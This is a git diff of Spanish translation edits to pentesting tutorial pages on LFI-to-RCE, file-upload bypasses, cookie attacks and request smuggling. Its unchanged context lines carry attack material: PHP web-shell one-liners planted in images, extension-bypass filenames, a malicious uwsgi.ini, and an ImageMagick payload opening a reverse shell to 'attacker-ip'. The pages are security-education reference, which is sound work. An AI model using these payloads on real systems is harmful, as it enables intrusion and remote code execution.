 Puedes usar la imagen de docker [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) para pruebas.
 ```python
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md b/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md
index c9137afa7..a58c0bab0 100644
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md
@@ -4,12 +4,12 @@
 
 ## **Subidas de archivos PHP**
 
-Cuando un motor **PHP** recibe una **solicitud POST** que contiene archivos formateados según la RFC 1867, genera archivos temporales para almacenar los datos subidos. Estos archivos son cruciales para el manejo de subidas de archivos en scripts PHP. La función `move_uploaded_file` debe ser utilizada para trasladar estos archivos temporales a una ubicación deseada si se necesita almacenamiento persistente más allá de la ejecución del script. Después de la ejecución, PHP elimina automáticamente cualquier archivo temporal restante.
+Cuando un motor **PHP** recibe una **solicitud POST** que contiene archivos formateados según el RFC 1867, genera archivos temporales para almacenar los datos subidos. Estos archivos son cruciales para el manejo de subidas de archivos en scripts PHP. La función `move_uploaded_file` debe ser utilizada para trasladar estos archivos temporales a una ubicación deseada si se necesita almacenamiento persistente más allá de la ejecución del script. Después de la ejecución, PHP elimina automáticamente cualquier archivo temporal restante.
 
 > [!NOTE]
 > **Alerta de seguridad: Los atacantes, conscientes de la ubicación de los archivos temporales, podrían explotar una vulnerabilidad de Inclusión de Archivos Local (LFI) para ejecutar código accediendo al archivo durante la subida.**
 
-El desafío para el acceso no autorizado radica en predecir el nombre del archivo temporal, que se aleatoriza intencionalmente.
+El desafío para el acceso no autorizado radica en predecir el nombre del archivo temporal, que es intencionalmente aleatorio.
 
 #### Explotación en sistemas Windows
 
@@ -17,7 +17,7 @@ En Windows, PHP genera nombres de archivos temporales utilizando la función `Ge
 
 - La ruta predeterminada es típicamente `C:\Windows\Temp`.
 - El prefijo suele ser "php".
-- El `<uuuu>` representa un valor hexadecimal único. Crucialmente, debido a la limitación de la función, solo se utilizan los 16 bits inferiores, permitiendo un máximo de 65,535 nombres únicos con ruta y prefijo constantes, lo que hace que el ataque por fuerza bruta sea factible.
+- El `<uuuu>` representa un valor hexadecimal único. Crucialmente, debido a la limitación de la función, solo se utilizan los 16 bits inferiores, permitiendo un máximo de 65,535 nombres únicos con ruta y prefijo constantes, lo que hace que el ataque de fuerza bruta sea factible.
 
 Además, el proceso de explotación se simplifica en sistemas Windows. Una peculiaridad en la función `FindFirstFile` permite el uso de comodines en las rutas de Inclusión de Archivos Local (LFI). Esto permite crear una ruta de inclusión como la siguiente para localizar el archivo temporal:
 ```
@@ -25,7 +25,7 @@ http://site/vuln.php?inc=c:\windows\temp\php<<
 ```
 En ciertas situaciones, puede ser necesaria una máscara más específica (como `php1<<` o `phpA<<`). Se pueden probar sistemáticamente estas máscaras para descubrir el archivo temporal subido.
 
-#### Explotación en sistemas GNU/Linux
+#### Explotación en Sistemas GNU/Linux
 
 Para sistemas GNU/Linux, la aleatoriedad en la nomenclatura de archivos temporales es robusta, lo que hace que los nombres no sean predecibles ni susceptibles a ataques de fuerza bruta. Se pueden encontrar más detalles en la documentación referenciada.
 
diff --git a/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md b/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md
index 673e84630..1d68f4206 100644
--- a/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md
+++ b/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md
@@ -4,7 +4,7 @@
 
 ## Información Básica
 
-Si encontraste una **Local File Inclusion** incluso si **no tienes una sesión** y `session.auto_start` está `Desactivado`. Si **`session.upload_progress.enabled`** está **`Activado`** y proporcionas el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **multipart POST**, PHP **habilitará la sesión para ti**.
+Si encontraste una **Inclusión de Archivos Local** incluso si **no tienes una sesión** y `session.auto_start` está `Desactivado`. Si **`session.upload_progress.enabled`** está **`Activado`** y proporcionas el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **multipart POST**, PHP **habilitará la sesión para ti**.
 ```bash
 $ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
 $ ls -a /var/lib/php/sessions/
@@ -21,7 +21,7 @@ In the last example the session will contain the string blahblahblah
 Nota que con **`PHP_SESSION_UPLOAD_PROGRESS`** puedes **controlar datos dentro de la sesión**, así que si incluyes tu archivo de sesión puedes incluir una parte que controlas (un php shellcode por ejemplo).
 
 > [!NOTE]
-> Aunque la mayoría de los tutoriales en Internet te recomiendan establecer `session.upload_progress.cleanup` en `Off` para fines de depuración. El valor predeterminado de `session.upload_progress.cleanup` en PHP sigue siendo `On`. Esto significa que tu progreso de carga en la sesión se limpiará lo antes posible. Así que esto será **Race Condition**.
+> Aunque la mayoría de los tutoriales en Internet te recomiendan establecer `session.upload_progress.cleanup` en `Off` para fines de depuración. El valor predeterminado de `session.upload_progress.cleanup` en PHP sigue siendo `On`. Esto significa que tu progreso de carga en la sesión será limpiado lo antes posible. Así que esto será **Race Condition**.
 
 ### El CTF
 
@@ -29,7 +29,7 @@ En el [**CTF original**](https://blog.orange.tw/2018/10/) donde se comenta esta
 
 Debido a la configuración predeterminada de `session.upload_progress.prefix`, nuestro **archivo de SESIÓN comenzará con un prefijo molesto** `upload_progress_` Tal como: `upload_progress_controlledcontentbyattacker`
 
-El truco para **eliminar el prefijo inicial** fue **base64encode el payload 3 veces** y luego decodificarlo a través de los filtros `convert.base64-decode`, esto se debe a que cuando **decodificas en base64 PHP eliminará los caracteres extraños**, así que después de 3 veces **solo** el **payload** **enviado** por el atacante **permanecerá** (y luego el atacante puede controlar la parte inicial).
+El truco para **eliminar el prefijo inicial** fue **base64encode el payload 3 veces** y luego decodificarlo a través de filtros `convert.base64-decode`, esto se debe a que cuando **PHP decodifica base64, eliminará los caracteres extraños**, así que después de 3 veces **solo** el **payload** **enviado** por el atacante **permanecerá** (y luego el atacante puede controlar la parte inicial).
 
 Más información en el escrito original [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) y exploit final [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py)\
 Otro escrito en [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)
diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md
index 3cf226e1c..8dced9fe4 100644
--- a/src/pentesting-web/file-upload/README.md
+++ b/src/pentesting-web/file-upload/README.md
@@ -16,7 +16,7 @@ Otras extensiones útiles:
 - **Perl**: _.pl, .cgi_
 - **Erlang Yaws Web Server**: _.yaws_
 
-### Bypass de comprobaciones de extensiones de archivo
+### Bypass de comprobaciones de extensiones de archivos
 
 1. Si aplica, **verifica** las **extensiones anteriores.** También pruébalas usando algunas **letras mayúsculas**: _pHp, .pHP5, .PhAr ..._
 2. _Verifica **agregando una extensión válida antes** de la extensión de ejecución (usa también las extensiones anteriores):_
@@ -32,7 +32,7 @@ Otras extensiones útiles:
 - _file._
 - _file.php...._
 - _file.pHp5...._
-4. Intenta eludir las protecciones **engañando al analizador de extensiones** del lado del servidor con técnicas como **duplicar** la **extensión** o **agregar datos basura** (**bytes nulos**) entre extensiones. _También puedes usar las **extensiones anteriores** para preparar una mejor carga útil._
+4. Intenta eludir las protecciones **engañando al analizador de extensiones** del lado del servidor con técnicas como **duplicar** la **extensión** o **agregar datos basura** (**bytes nulos**) entre extensiones. _También puedes usar las **extensiones anteriores** para preparar una mejor carga._
 - _file.png.php_
 - _file.png.pHp5_
 - _file.php#.png_
@@ -44,7 +44,7 @@ Otras extensiones útiles:
 5. Agrega **otra capa de extensiones** a la verificación anterior:
 - _file.png.jpg.php_
 - _file.php%00.png%00.jpg_
-6. Intenta poner la **extensión exec antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar configuraciones incorrectas de Apache donde cualquier cosa con extensión **_**.php**_**, pero** no necesariamente terminando en .php** ejecutará código):
+6. Intenta poner la **extensión de ejecución antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar configuraciones incorrectas de Apache donde cualquier cosa con extensión **_**.php**_**, pero** no necesariamente terminando en .php** ejecutará código):
 - _ej: file.php.png_
 7. Usando **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter de dos puntos “:” después de una extensión prohibida y antes de una permitida. Como resultado, se creará un **archivo vacío con la extensión prohibida** en el servidor (por ejemplo, “file.asax:.jpg”). Este archivo podría ser editado más tarde usando otras técnicas como usar su nombre de archivo corto. El patrón “**::$data**” también se puede usar para crear archivos no vacíos. Por lo tanto, agregar un carácter de punto después de este patrón también podría ser útil para eludir más restricciones (por ejemplo, “file.asp::$data.”)
 8. Intenta romper los límites del nombre de archivo. La extensión válida se corta. Y el PHP malicioso se queda. AAA<--SNIP-->AAA.php
@@ -56,7 +56,7 @@ Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
 # Sube el archivo y verifica la respuesta cuántos caracteres permite. Digamos 236
 python -c 'print "A" * 232'
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-# Haz la carga útil
+# Haz la carga
 AAA<--SNIP 232 A-->AAA.php.png
 ```
 
@@ -66,19 +66,19 @@ AAA<--SNIP 232 A-->AAA.php.png
 1. **Lista de palabras** de Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
 - Elude la comprobación de **magic number** agregando al principio del archivo los **bytes de una imagen real** (confundir el comando _file_). O introduce el shell dentro de los **metadatos**:\
 `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
-`\` o también podrías **introducir la carga útil directamente** en una imagen:\
+`\` o también podrías **introducir la carga directamente** en una imagen:\
 `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
 - Si **se está agregando compresión a tu imagen**, por ejemplo usando algunas bibliotecas estándar de PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), las técnicas anteriores no serán útiles. Sin embargo, podrías usar el **chunk PLTE** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**.
 - [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
 - La página web también podría estar **redimensionando** la **imagen**, usando por ejemplo las funciones de PHP-GD `imagecopyresized` o `imagecopyresampled`. Sin embargo, podrías usar el **chunk IDAT** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**.
 - [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
-- Otra técnica para hacer una carga útil que **sobreviva a un redimensionamiento de imagen**, usando la función de PHP-GD `thumbnailImage`. Sin embargo, podrías usar el **chunk tEXt** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**.
+- Otra técnica para hacer una carga que **sobreviva a un redimensionamiento de imagen**, usando la función de PHP-GD `thumbnailImage`. Sin embargo, podrías usar el **chunk tEXt** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**.
 - [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
 
 ### Otros trucos a verificar
 
 - Encuentra una vulnerabilidad para **renombrar** el archivo ya subido (para cambiar la extensión).
-- Encuentra una vulnerabilidad de **Inclusión de Archivos Locales** para ejecutar el backdoor.
+- Encuentra una vulnerabilidad de **Inclusión de Archivos Local** para ejecutar el backdoor.
 - **Posible divulgación de información**:
 1. Sube **varias veces** (y al **mismo tiempo**) el **mismo archivo** con el **mismo nombre**
 2. Sube un archivo con el **nombre** de un **archivo** o **carpeta** que **ya existe**
@@ -99,7 +99,7 @@ La extensión `.inc` a veces se usa para archivos php que solo se utilizan para
 
 ## **Jetty RCE**
 
-Si puedes subir un archivo XML a un servidor Jetty, puedes obtener [RCE porque **nuevos \*.xml y \*.war son procesados automáticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la siguiente imagen, sube el archivo XML a `$JETTY_BASE/webapps/` y ¡espera el shell!
+Si puedes subir un archivo XML en un servidor Jetty, puedes obtener [RCE porque **nuevos \*.xml y \*.war son procesados automáticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la siguiente imagen, sube el archivo XML a `$JETTY_BASE/webapps/` y ¡espera el shell!
 
 ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
 
@@ -107,9 +107,9 @@ Si puedes subir un archivo XML a un servidor Jetty, puedes obtener [RCE porque *
 
 Para una exploración detallada de esta vulnerabilidad, consulta la investigación original: [Explotación de RCE en uWSGI](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
 
-Las vulnerabilidades de Ejecución Remota de Comandos (RCE) pueden ser explotadas en servidores uWSGI si se tiene la capacidad de modificar el archivo de configuración `.ini`. Los archivos de configuración de uWSGI aprovechan una sintaxis específica para incorporar variables "mágicas", marcadores de posición y operadores. Notablemente, el operador '@', utilizado como `@(filename)`, está diseñado para incluir el contenido de un archivo. Entre los diversos esquemas soportados en uWSGI, el esquema "exec" es particularmente potente, permitiendo la lectura de datos de la salida estándar de un proceso. Esta característica puede ser manipulada para fines nefastos como Ejecución Remota de Comandos o Escritura/lectura de Archivos Arbitrarios cuando se procesa un archivo de configuración `.ini`.
+Las vulnerabilidades de Ejecución Remota de Comandos (RCE) pueden ser explotadas en servidores uWSGI si uno tiene la capacidad de modificar el archivo de configuración `.ini`. Los archivos de configuración de uWSGI aprovechan una sintaxis específica para incorporar variables "mágicas", marcadores de posición y operadores. Notablemente, el operador '@', utilizado como `@(filename)`, está diseñado para incluir el contenido de un archivo. Entre los diversos esquemas soportados en uWSGI, el esquema "exec" es particularmente potente, permitiendo la lectura de datos de la salida estándar de un proceso. Esta característica puede ser manipulada para fines nefastos como Ejecución Remota de Comandos o Escritura/lectura de Archivos Arbitrarios cuando se procesa un archivo de configuración `.ini`.
 
-Considera el siguiente ejemplo de un archivo `uwsgi.ini` dañino, que muestra varios esquemas:
+Considera el siguiente ejemplo de un archivo `uwsgi.ini` dañino, mostrando varios esquemas:
 ```ini
 [uwsgi]
 ; read from a symbol
@@ -286,9 +286,9 @@ viewbox 0 0 640 480
 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
 pop graphic-context
 ```
-## Incrustación de Shell PHP en PNG
+## Incrustar Shell PHP en PNG
 
-Incrustar un shell PHP en el bloque IDAT de un archivo PNG puede eludir eficazmente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` e `imagecopyresampled` de PHP-GD son particularmente relevantes en este contexto, ya que se utilizan comúnmente para redimensionar y re-muestrear imágenes, respectivamente. La capacidad del shell PHP incrustado para permanecer inalterado por estas operaciones es una ventaja significativa para ciertos casos de uso.
+Incrustar un shell PHP en el bloque IDAT de un archivo PNG puede eludir efectivamente ciertas operaciones de procesamiento de imágenes. Las funciones `imagecopyresized` e `imagecopyresampled` de PHP-GD son particularmente relevantes en este contexto, ya que se utilizan comúnmente para redimensionar y re-muestrear imágenes, respectivamente. La capacidad del shell PHP incrustado para permanecer inalterado por estas operaciones es una ventaja significativa para ciertos casos de uso.
 
 Una exploración detallada de esta técnica, incluyendo su metodología y aplicaciones potenciales, se proporciona en el siguiente artículo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso ofrece una comprensión completa del proceso y sus implicaciones.
 
diff --git a/src/pentesting-web/hacking-with-cookies/README.md b/src/pentesting-web/hacking-with-cookies/README.md
index e24c11851..cf32eb118 100644
--- a/src/pentesting-web/hacking-with-cookies/README.md
+++ b/src/pentesting-web/hacking-with-cookies/README.md
@@ -8,7 +8,7 @@ Las cookies vienen con varios atributos que controlan su comportamiento en el na
 
 ### Expires y Max-Age
 
-La fecha de caducidad de una cookie se determina por el atributo `Expires`. Por el contrario, el atributo `Max-age` define el tiempo en segundos hasta que una cookie es eliminada. **Opta por `Max-age` ya que refleja prácticas más modernas.**
+La fecha de caducidad de una cookie se determina por el atributo `Expires`. Por el contrario, el atributo `Max-age` define el tiempo en segundos hasta que una cookie se elimina. **Opta por `Max-age` ya que refleja prácticas más modernas.**
 
 ### Dominio
 
@@ -16,7 +16,7 @@ Los hosts que recibirán una cookie se especifican mediante el atributo `Domain`
 
 ### Ruta
 
-Un camino de URL específico que debe estar presente en la URL solicitada para que se envíe el encabezado `Cookie` es indicado por el atributo `Path`. Este atributo considera el carácter `/` como un separador de directorios, permitiendo coincidencias en subdirectorios también.
+Un camino de URL específico que debe estar presente en la URL solicitada para que se envíe el encabezado `Cookie` se indica mediante el atributo `Path`. Este atributo considera el carácter `/` como un separador de directorios, permitiendo coincidencias en subdirectorios también.
 
 ### Reglas de Ordenación
 
@@ -36,13 +36,13 @@ Recuerda, al configurar cookies, entender estos atributos puede ayudar a garanti
 
 | **Tipo de Solicitud** | **Código de Ejemplo**                   | **Cookies Enviadas Cuando** |
 | --------------------- | --------------------------------------- | ---------------------------- |
-| Enlace                | \<a href="...">\</a>                   | NotSet\*, Lax, None          |
-| Prerender             | \<link rel="prerender" href=".."/>     | NotSet\*, Lax, None          |
-| Formulario GET        | \<form method="GET" action="...">      | NotSet\*, Lax, None          |
-| Formulario POST       | \<form method="POST" action="...">     | NotSet\*, None               |
-| iframe                | \<iframe src="...">\</iframe>           | NotSet\*, None               |
-| AJAX                  | $.get("...")                            | NotSet\*, None               |
-| Imagen                | \<img src="...">                        | NetSet\*, None               |
+| Enlace                | \<a href="...">\</a>                   | NotSet\*, Lax, None         |
+| Prerender             | \<link rel="prerender" href=".."/>     | NotSet\*, Lax, None         |
+| Formulario GET        | \<form method="GET" action="...">      | NotSet\*, Lax, None         |
+| Formulario POST       | \<form method="POST" action="...">     | NotSet\*, None              |
+| iframe                | \<iframe src="...">\</iframe>          | NotSet\*, None              |
+| AJAX                  | $.get("...")                           | NotSet\*, None              |
+| Imagen                | \<img src="...">                       | NetSet\*, None              |
 
 Tabla de [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) y ligeramente modificada.\
 Una cookie con el atributo _**SameSite**_ **mitigará ataques CSRF** donde se necesita una sesión iniciada.
@@ -78,7 +78,7 @@ La solicitud **solo** enviará la cookie en una solicitud HTTP solo si la solici
 
 Las cookies con el prefijo `__Secure-` deben establecerse junto con la bandera `secure` de páginas que están aseguradas por HTTPS.
 
-Para las cookies con el prefijo `__Host-`, deben cumplirse varias condiciones:
+Para las cookies con el prefijo `__Host-`, se deben cumplir varias condiciones:
 
 - Deben establecerse con la bandera `secure`.
 - Deben originarse de una página asegurada por HTTPS.
@@ -89,7 +89,7 @@ Es importante notar que las cookies con el prefijo `__Host-` no pueden ser envia
 
 ### Sobrescribiendo cookies
 
-Así, una de las protecciones de las cookies con prefijo `__Host-` es prevenir que sean sobrescritas desde subdominios. Previniendo, por ejemplo, [**ataques de Cookie Tossing**](cookie-tossing.md). En la charla [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) se presenta que era posible establecer cookies con prefijo \_\_HOST- desde un subdominio, engañando al parser, por ejemplo, añadiendo "=" al principio o al final...:
+Así, una de las protecciones de las cookies con prefijo `__Host-` es prevenir que sean sobrescritas desde subdominios. Previniendo, por ejemplo, [**ataques de Cookie Tossing**](cookie-tossing.md). En la charla [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) se presenta que era posible establecer cookies con prefijo \_\_HOST- desde un subdominio, engañando al analizador, por ejemplo, añadiendo "=" al principio o al final...:
 
 <figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
@@ -111,7 +111,7 @@ Este ataque implica robar la cookie de un usuario para obtener acceso no autoriz
 
 ### Fijación de Sesión
 
-En este escenario, un atacante engaña a una víctima para que use una cookie específica para iniciar sesión. Si la aplicación no asigna una nueva cookie al iniciar sesión, el atacante, poseyendo la cookie original, puede hacerse pasar por la víctima. Esta técnica se basa en que la víctima inicie sesión con una cookie proporcionada por el atacante.
+En este escenario, un atacante engaña a una víctima para que use una cookie específica para iniciar sesión. Si la aplicación no asigna una nueva cookie al iniciar sesión, el atacante, que posee la cookie original, puede hacerse pasar por la víctima. Esta técnica se basa en que la víctima inicie sesión con una cookie proporcionada por el atacante.
 
 Si encontraste un **XSS en un subdominio** o **controlas un subdominio**, lee:
 
@@ -167,7 +167,7 @@ Esto resulta en que `document.cookie` devuelve una cadena vacía, lo que indica
 
 #### Robo de Cookies Debido a Problemas de Análisis
 
-(Revisa más detalles en la[investigación original](https://blog.ankursundara.com/cookie-bugs/)) Varios servidores web, incluidos los de Java (Jetty, TomCat, Undertow) y Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), manejan incorrectamente las cadenas de cookies debido al soporte obsoleto de RFC2965. Lee un valor de cookie entre comillas dobles como un solo valor, incluso si incluye punto y coma, que normalmente debería separar pares clave-valor:
+(Revisa más detalles en la[investigación original](https://blog.ankursundara.com/cookie-bugs/)) Varios servidores web, incluidos los de Java (Jetty, TomCat, Undertow) y Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), manejan incorrectamente las cadenas de cookies debido al soporte obsoleto de RFC2965. Lee un valor de cookie entre comillas dobles como un solo valor, incluso si incluye puntos y comas, que normalmente deberían separar pares clave-valor:
 ```
 RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
 ```
@@ -179,7 +179,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
 - Zope busca una coma para comenzar a analizar la siguiente cookie.
 - Las clases de cookies de Python comienzan a analizar en un carácter de espacio.
 
-Esta vulnerabilidad es particularmente peligrosa en aplicaciones web que dependen de la protección CSRF basada en cookies, ya que permite a los atacantes inyectar cookies de token CSRF suplantadas, potencialmente eludiendo medidas de seguridad. El problema se agrava por el manejo de nombres de cookies duplicados en Python, donde la última ocurrencia anula las anteriores. También plantea preocupaciones para las cookies `__Secure-` y `__Host-` en contextos inseguros y podría llevar a eludir autorizaciones cuando las cookies se pasan a servidores backend susceptibles a suplantación.
+Esta vulnerabilidad es particularmente peligrosa en aplicaciones web que dependen de la protección CSRF basada en cookies, ya que permite a los atacantes inyectar cookies de token CSRF suplantadas, potencialmente eludiendo medidas de seguridad. El problema se agrava por el manejo de nombres de cookies duplicados en Python, donde la última ocurrencia anula las anteriores. También plantea preocupaciones para las cookies `__Secure-` y `__Host-` en contextos inseguros y podría llevar a eludir autorizaciones cuando las cookies se envían a servidores backend susceptibles a suplantación.
 
 ### Cookies $version y elusión de WAF
 
@@ -232,7 +232,7 @@ Si la cookie permanece igual (o casi) cuando inicias sesión, esto probablemente
 - Intentar **fuerza bruta al nombre de usuario**. Si la cookie se guarda solo como un método de autenticación para tu nombre de usuario, entonces puedes crear una cuenta con el nombre de usuario "**Bmin**" y **fuerza bruta** cada **bit** de tu cookie porque una de las cookies que intentarás será la que pertenece a "**admin**".
 - Intentar **Padding** **Oracle** (puedes descifrar el contenido de la cookie). Usa **padbuster**.
 
-**Padding Oracle - Ejemplos de Padbuster**
+**Ejemplos de Padding Oracle - Padbuster**
 ```bash
 padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
 # When cookies and regular Base64
@@ -254,7 +254,7 @@ Esta ejecución te dará la cookie correctamente cifrada y codificada con la cad
 
 **CBC-MAC**
 
-Tal vez una cookie podría tener algún valor y podría ser firmada usando CBC. Entonces, la integridad del valor es la firma creada utilizando CBC con el mismo valor. Como se recomienda usar como IV un vector nulo, este tipo de verificación de integridad podría ser vulnerable.
+Tal vez una cookie podría tener algún valor y podría ser firmada usando CBC. Entonces, la integridad del valor es la firma creada usando CBC con el mismo valor. Como se recomienda usar como IV un vector nulo, este tipo de verificación de integridad podría ser vulnerable.
 
 **El ataque**
 
@@ -269,9 +269,9 @@ Cuando inicias sesión, la cookie que recibes tiene que ser siempre la misma.
 
 **Cómo detectar y atacar:**
 
-Crea 2 usuarios con datos casi idénticos (nombre de usuario, contraseña, correo electrónico, etc.) y trata de descubrir algún patrón dentro de la cookie dada.
+Crea 2 usuarios con casi los mismos datos (nombre de usuario, contraseña, correo electrónico, etc.) y trata de descubrir algún patrón dentro de la cookie dada.
 
-Crea un usuario llamado, por ejemplo, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" y verifica si hay algún patrón en la cookie (como ECB cifra con la misma clave cada bloque, los mismos bytes cifrados podrían aparecer si el nombre de usuario es cifrado).
+Crea un usuario llamado, por ejemplo, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" y verifica si hay algún patrón en la cookie (como ECB cifra con la misma clave cada bloque, los mismos bytes cifrados podrían aparecer si el nombre de usuario está cifrado).
 
 Debería haber un patrón (con el tamaño de un bloque utilizado). Así que, sabiendo cómo se cifran un montón de "a", puedes crear un nombre de usuario: "a"\*(tamaño del bloque)+"admin". Luego, podrías eliminar el patrón cifrado de un bloque de "a" de la cookie. Y tendrás la cookie del nombre de usuario "admin".
 
diff --git a/src/pentesting-web/hacking-with-cookies/cookie-tossing.md b/src/pentesting-web/hacking-with-cookies/cookie-tossing.md
index ee916b472..7ba688e77 100644
--- a/src/pentesting-web/hacking-with-cookies/cookie-tossing.md
+++ b/src/pentesting-web/hacking-with-cookies/cookie-tossing.md
@@ -23,7 +23,7 @@ Esto puede ser peligroso ya que el atacante podría:
 
 Cuando un navegador recibe dos cookies con el mismo nombre **afectando parcialmente el mismo alcance** (dominio, subdominios y ruta), el **navegador enviará ambos valores de la cookie** cuando ambos sean válidos para la solicitud.
 
-Dependiendo de quién tiene **la ruta más específica** o cuál es la **más antigua**, el navegador **establecerá primero el valor de la cookie** y luego el valor de la otra como en: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
+Dependiendo de quién tenga **la ruta más específica** o cuál sea la **más antigua**, el navegador **establecerá primero el valor de la cookie** y luego el valor de la otra como en: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
 
 La mayoría de **los sitios web solo usarán el primer valor**. Entonces, si un atacante quiere establecer una cookie, es mejor establecerla antes de que se establezca otra o establecerla con una ruta más específica.
 
@@ -42,9 +42,9 @@ cookie-jar-overflow.md
 
 Otro **bypass** útil podría ser **codificar en URL el nombre de la cookie** ya que algunas protecciones verifican 2 cookies con el mismo nombre en una solicitud y luego el servidor decodificará los nombres de las cookies.
 
-### Bomba de Cookies
+### Cookie Bomb
 
-Un ataque de Cookie Tossing también puede ser utilizado para realizar un ataque de **Bomba de Cookies**:
+Un ataque de Cookie Tossing también puede ser utilizado para realizar un **Cookie Bomb**:
 
 {{#ref}}
 cookie-bomb.md
@@ -54,7 +54,7 @@ cookie-bomb.md
 
 #### **Usar el prefijo `__Host` en el nombre de la cookie**
 
-- Si un nombre de cookie tiene este prefijo, **solo será aceptado** en una directiva Set-Cookie si está marcado como Seguro, fue enviado desde un origen seguro, no incluye un atributo de Dominio y tiene el atributo de Ruta establecido en /
+- Si un nombre de cookie tiene este prefijo, **solo será aceptado** en una directiva Set-Cookie si está marcado como Seguro, fue enviado desde un origen seguro, no incluye un atributo Domain y tiene el atributo Path establecido en /
 - **Esto previene que los subdominios fuerzan una cookie al dominio principal ya que estas cookies pueden ser vistas como "bloqueadas por dominio"**
 
 ### Referencias
diff --git a/src/pentesting-web/http-request-smuggling/README.md b/src/pentesting-web/http-request-smuggling/README.md
index 8351cfeaa..4f7390fde 100644
--- a/src/pentesting-web/http-request-smuggling/README.md
+++ b/src/pentesting-web/http-request-smuggling/README.md
@@ -33,14 +33,14 @@ Recuerda que en HTTP **un carácter de nueva línea está compuesto por 2 bytes:
 
 - **Content-Length**: Este encabezado utiliza un **número decimal** para indicar el **número** de **bytes** del **cuerpo** de la solicitud. Se espera que el cuerpo termine en el último carácter, **no se necesita una nueva línea al final de la solicitud**.
